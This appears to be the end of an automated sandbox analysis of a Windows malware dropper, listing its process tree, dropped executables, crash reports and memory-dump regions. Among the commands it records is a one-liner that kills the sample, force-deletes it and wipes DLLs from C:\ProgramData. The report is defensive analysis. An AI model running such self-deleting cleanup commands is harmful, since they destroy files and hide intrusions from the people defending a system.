                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 656
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:5212
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 672
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:5840
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 628
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:3988
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 660
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:6136
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 880
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:2864
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 928
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:6976
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1148
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:6160
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1128
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:6268
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                  PID:1292
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                                    Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:1560
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS4418CAA3\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                        PID:7204
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                          taskkill /im Tue112c483dd3245d.exe /f
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                          PID:7496
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                          timeout /t 6
                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                          PID:4468
                                                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                              PID:5072
                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                PID:5960
                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                              PID:5556
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                PID:5640
                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                              PID:6568
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:6172
                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:2296
                                                                                                                                                                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:5432
                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:7816
                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:7984
                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:7288
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:7204
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\C97B.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\C97B.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:3020
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\FA50.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\FA50.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:5496

                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                              • memory/200-291-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                                              • memory/344-182-0x000000001C4F0000-0x000000001C4F2000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/344-165-0x0000000000E80000-0x0000000000E81000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-208-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-192-0x00000000075D0000-0x00000000075D1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-226-0x00000000089D0000-0x00000000089D1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-207-0x0000000007D30000-0x0000000007D31000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-206-0x0000000007540000-0x0000000007541000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-215-0x0000000008370000-0x0000000008371000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-220-0x0000000008480000-0x0000000008481000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-203-0x0000000007C00000-0x0000000007C01000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-191-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-411-0x000000007F440000-0x000000007F441000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-492-0x0000000004F23000-0x0000000004F24000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-201-0x0000000004F22000-0x0000000004F23000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-209-0x0000000007E10000-0x0000000007E11000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-195-0x0000000004F20000-0x0000000004F21000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/856-210-0x00000000075B0000-0x00000000075B1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/988-392-0x000001E092630000-0x000001E0926A4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1028-447-0x0000021585E10000-0x0000021585E84000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1096-443-0x000001F68EA70000-0x000001F68EAE4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1208-177-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                436KB

                                                                                                                                                                                                                                                                                              • memory/1216-495-0x0000028CA6AD0000-0x0000028CA6B44000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1344-505-0x0000020046B70000-0x0000020046BE4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1368-214-0x0000000000400000-0x0000000002B61000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                39.4MB

                                                                                                                                                                                                                                                                                              • memory/1368-205-0x00000000047D0000-0x0000000004818000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                288KB

                                                                                                                                                                                                                                                                                              • memory/1404-463-0x00000193A3660000-0x00000193A36D4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1540-193-0x00000000049C0000-0x00000000049C1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1540-189-0x0000000000160000-0x0000000000161000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1540-199-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1540-197-0x0000000004970000-0x0000000004971000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1560-211-0x0000000004870000-0x0000000004941000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                836KB

                                                                                                                                                                                                                                                                                              • memory/1560-212-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                39.7MB

                                                                                                                                                                                                                                                                                              • memory/1576-362-0x00000000051B0000-0x00000000057B6000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/1664-213-0x0000000000400000-0x0000000002B48000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                39.3MB

                                                                                                                                                                                                                                                                                              • memory/1664-204-0x00000000001D0000-0x00000000001D9000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                                              • memory/1956-468-0x000001807B140000-0x000001807B1B4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/1968-200-0x0000000000CF0000-0x0000000000CF2000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/1968-221-0x000000001C670000-0x000000001C671000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1968-183-0x0000000000540000-0x0000000000541000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1968-198-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1968-194-0x0000000000C60000-0x0000000000C75000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                                                              • memory/1980-286-0x0000000002D40000-0x0000000002D41000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1980-274-0x0000000001470000-0x000000000147C000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                48KB

                                                                                                                                                                                                                                                                                              • memory/1980-277-0x000000000AD30000-0x000000000AD31000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1980-279-0x000000000A8D0000-0x000000000A8D1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1980-269-0x0000000001450000-0x0000000001451000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/1980-256-0x0000000000B00000-0x0000000000B01000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2108-347-0x0000000004E60000-0x0000000004E61000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2176-262-0x00000000056F0000-0x00000000056F1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2176-264-0x0000000005660000-0x0000000005C66000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/2176-227-0x0000000000400000-0x0000000000422000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                136KB

                                                                                                                                                                                                                                                                                              • memory/2176-251-0x00000000057C0000-0x00000000057C1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2176-242-0x0000000005C70000-0x0000000005C71000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2176-246-0x0000000005690000-0x0000000005691000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2336-414-0x000001E3C3640000-0x000001E3C36B4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/2344-404-0x0000020A72C60000-0x0000020A72CD4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/2384-390-0x0000000000400000-0x0000000002B53000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                39.3MB

                                                                                                                                                                                                                                                                                              • memory/2384-349-0x00000000001D0000-0x00000000001FF000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                188KB

                                                                                                                                                                                                                                                                                              • memory/2440-497-0x0000000005840000-0x0000000005841000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2612-270-0x0000000002940000-0x0000000002955000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                                                              • memory/2612-257-0x0000000000A80000-0x0000000000A81000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/2612-285-0x0000000002980000-0x0000000002982000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/2616-502-0x000002390CE70000-0x000002390CEE4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/2628-516-0x0000017CBCA70000-0x0000017CBCAE4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/2684-389-0x000002C322DC0000-0x000002C322E34000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/2736-202-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/3064-309-0x0000000000730000-0x0000000000745000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                84KB

                                                                                                                                                                                                                                                                                              • memory/3700-345-0x0000000076F10000-0x000000007709E000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                              • memory/3700-417-0x00000000054D0000-0x0000000005AD6000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/3868-311-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4032-265-0x0000000002470000-0x00000000024BB000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                300KB

                                                                                                                                                                                                                                                                                              • memory/4032-255-0x0000000000A80000-0x0000000000A81000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4032-278-0x0000000002430000-0x0000000002431000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4032-239-0x0000000000530000-0x0000000000531000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4032-289-0x000000001B1D0000-0x000000001B1D2000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/4284-282-0x0000000000C90000-0x0000000000C92000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/4284-268-0x0000000000580000-0x0000000000581000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4412-222-0x00000000009B0000-0x00000000009B1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4456-240-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/4500-323-0x0000000005440000-0x0000000005A46000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/4584-139-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                152KB

                                                                                                                                                                                                                                                                                              • memory/4584-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                572KB

                                                                                                                                                                                                                                                                                              • memory/4584-133-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                100KB

                                                                                                                                                                                                                                                                                              • memory/4584-137-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                100KB

                                                                                                                                                                                                                                                                                              • memory/4584-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.5MB

                                                                                                                                                                                                                                                                                              • memory/4584-134-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                100KB

                                                                                                                                                                                                                                                                                              • memory/4584-135-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                100KB

                                                                                                                                                                                                                                                                                              • memory/4900-235-0x0000000002B20000-0x0000000002B22000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

                                                                                                                                                                                                                                                                                              • memory/4928-366-0x0000000000400000-0x0000000002BB2000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                39.7MB

                                                                                                                                                                                                                                                                                              • memory/4928-341-0x0000000004850000-0x0000000004921000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                836KB

                                                                                                                                                                                                                                                                                              • memory/5072-358-0x0000025CBA650000-0x0000025CBA69D000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                308KB

                                                                                                                                                                                                                                                                                              • memory/5072-368-0x0000025CBA710000-0x0000025CBA784000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/5312-329-0x00000000054D0000-0x00000000054D1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/5412-327-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                80KB

                                                                                                                                                                                                                                                                                              • memory/5528-355-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/5576-395-0x0000000004C90000-0x0000000005296000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/5624-403-0x0000000076F10000-0x000000007709E000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.6MB

                                                                                                                                                                                                                                                                                              • memory/5624-474-0x0000000005B30000-0x0000000006136000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/5640-357-0x0000000004BE0000-0x0000000004C3F000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                380KB

                                                                                                                                                                                                                                                                                              • memory/5640-352-0x0000000004A6F000-0x0000000004B70000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                                                                                                              • memory/5648-507-0x000000001BB90000-0x000000001BB92000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                8KB

